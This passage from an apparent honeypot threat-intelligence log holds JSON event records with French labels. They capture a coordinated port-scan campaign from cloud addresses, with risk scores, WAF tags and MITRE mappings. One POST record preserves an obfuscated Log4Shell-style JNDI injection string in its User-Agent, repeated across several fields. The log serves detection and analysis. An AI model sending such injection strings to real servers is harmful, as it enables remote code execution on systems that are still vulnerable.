\u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022112b403ea5b0e3a7d0d331ab96d728785c3ab96b\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 185, \u0022payload_entropy\u0022: 5.352983936157643, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8090, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 6.2, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 57, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022b89b42a8b5296f1960625adb69328f8a97288553\u0022, \u0022event_fingerprint\u0022: \u002223cc214f3320bd3cf21c7c992c60f2e82b1b2b5f\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 57, \u0022correlation_boost\u0022: 16}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022c90d20441e991d7ab5fb271e72565edf\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8090, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 57}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8090\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8090\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8090\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8090\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8090\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00220a2a5af358478a873f3eda7e0af3242b9dd78684\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8090, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8090\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8090 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u00228090 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 57\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne multi-ports\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 57, \u0022correlation_boost\u0022: 16}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 57, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8090, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +16\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8090, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8090 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8090\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022target_port_label\u0022: \u00228090 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +16 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228090\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 6, \u0022port_scan_ports_sample\u0022: [7005, 8083, 8084, 8087, 8089, 8090], \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 16, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8090","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":185},{"id":14459473,"ip":"34.19.116.51","ts":"2026-07-30 18:47:21.000000","proto":"tcp","src_port":45061,"dst_port":8089,"service":"http","classification":"port_scan_syn","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"POST","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u0022a7b78928e077f892c20f84dda85411835a7a0915\u0022, \u0022http_host_hash\u0022: \u002206b11278b3d8c06d12bf6f74085c2806fc07bb05\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: \u0022c6a3ee862b1450ef667956dfbb31b01e759e26fd\u0022, \u0022http_method\u0022: \u0022POST\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.815550198541999, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8089, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 6.0, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 57, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00225e256504645230307d620ce3e464b977231d017e\u0022, \u0022event_fingerprint\u0022: \u0022de936a6432fb89a855da618305ffe2db3df65c5f\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 57, \u0022correlation_boost\u0022: 16}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u0022a5b340b35931b33402edae610701af8d\u0022, \u0022payload_hash\u0022: \u0022684cc627ecc9be0bd6e41c599b5cfa8b\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 57}, \u0022payload_preview\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d\u0022, \u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-\/}${5:f13y:-\/}${okje:lux:-U}${n0lr:-A}${z1b:mxw1:-l}${jvm:-0}${m2:fp:qr:-c}${k2:wg:--}${${y:-s}${rf:mc:2ful:-y}${h:hg5d:-s}${ce:encq:t3:-:}$\u2026\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022POST \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-\/}${5:f13y:-\/}${okje:lux:-U}${n0lr:-A}${z1b:m\u0022, \u0022payload_snippet\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-\/}${5:f13y:-\/}${okje:lux:-U}${n0lr:-A}${z1b:mxw1:-l}${jvm:-0}${m2:fp:qr:-c}${k2:wg:--}${${y:-s}${rf:mc:2ful:-y}${h:hg5d:-s}${ce:encq:t3:-:}$\u2026\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022POST \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-\/}${5:f13y:-\/}${okje:lux:-U}${n0lr:-A}${z1b:m\u0022, \u0022payload_snippet\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00226a005b012f7da4dbb8f0968e5774365fd706c0bc\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022POST \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-\/}${\u2026\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 57\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne multi-ports\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 57, \u0022correlation_boost\u0022: 16}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 57, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8089, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +16\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022POST \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-\/}${\u2026\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: \u0022POST \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +16 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, 